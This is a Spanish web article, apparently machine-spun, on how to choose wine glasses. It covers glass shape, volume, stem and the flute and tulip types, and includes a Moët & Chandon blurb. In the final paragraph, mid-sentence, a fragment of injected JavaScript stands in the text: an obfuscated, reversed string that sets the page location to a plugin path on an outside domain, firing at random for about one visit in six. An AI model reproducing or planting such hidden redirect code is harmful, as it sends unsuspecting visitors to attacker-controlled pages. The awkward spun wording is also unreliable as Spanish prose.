Un óptimo vino necesita la copa correcta que deje gozar totalmente de todos y cada uno de los matices. Escoger una copa de vino de alta definición fortalecerá nuestras experiencias. Estos son los criterios que tienes que tener en consideración para tomar la mejor resolución:
- Las copas con las curvas adecuadas dejan que el vino respire, fortaleciendo de esta manera su auténtico aroma y también influyendo de forma directa en nuestras experiencias .
- El volumen siempre y en todo momento ha de ser proporcionalmente amoldado a la intensidad y dificultad del vino.
- El cuerpo y el tallo han de estar de forma armoniosa equilibrados de manera que logre girar el vino de forma cómoda sin salpicar.
- Han de ser de cristal liso y transparente, con el borde fino y rápido (no redondeado como en las copas de menor calidad).
Moët & Chandon Brut Imperial
Moët & Chandon Brut Imperial es una cuvée simbólica. La marca mucho más vendida en el planeta, un champán con finas burbujas, aromático, fresco, profundo y muy elegante.
¿De qué manera ha de ser una copa de vino?
Como observaremos ahora, existen muchas copas de vinos distintas, cada uno de ellos desarrollado para prosperar la degustación de géneros de vino muy específicos, dependiendo del sitio o del desarrollo de elaboración, de la pluralidad de uva predominante , etcétera. Pero antes de adentrarnos en estas distinciones, es esencial comprender los elementos recurrentes que muestran todas y cada una de las copas de vino, de qué forma puede cambiar la manera en que nos vamos a encontrar estos elementos dependiendo del género de copa y de qué forma estas variantes afectarán a nuestra forma de sentir las especificaciones organolépticas del vino (aromas, color, gusto, tacto…) a lo largo de la cata.
La enorme mayoría de las copas de vino que vamos a encontrar van a contar con tres elementos o partes básicas: la base, el tallo y el cuerpo.
- Vintage: Copa plana usada comunmente para vino espumoso. En la actualidad no se aconsejan para la cata por no aceptar sentir bien los aromas por su amplia y extensa apertura.
- Tulipa: En esta copa, la base se ensancha a fin de que el vino conserve su temperatura, apretándose en la boca a fin de que los aromas se concentren y el carbónico no se escape. De esta manera tenemos la posibilidad de capturar toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3)todos y cada uno de los aromas que el vino libera
